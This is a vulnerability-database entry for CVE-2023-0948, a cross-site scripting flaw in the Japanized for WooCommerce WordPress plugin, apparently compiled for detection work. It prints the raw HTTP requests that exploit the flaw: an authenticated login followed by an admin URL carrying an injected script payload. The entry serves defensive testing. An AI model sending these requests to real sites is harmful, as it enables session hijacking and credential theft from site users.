🔙 목록으로 돌아가기

CVE-2023-0948: WordPress Japanized for WooCommerce <2.5.8 - Cross-Site Scripting

TitleWordPress Japanized for WooCommerce <2.5.8 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationFixed in version 2.5.8.
CVSS Score6.1
EPSS Score0.19296
CVE IDCVE-2023-0948
CWE IDCWE-79
Tags cve cve2023 wpscan xss woocommerce-for-japan wordpress wp-plugin wp authenticated artisanworkshop vuln

🔍 Vulnerability Description

WordPress Japanized for WooCommerce plugin before 2.5.8 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=aZM1PA&pwd=fTRpuL&wp-submit=Log+In
GET /wp-admin/admin.php?page=peachpay&tab=field&"><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0948.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-0948.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A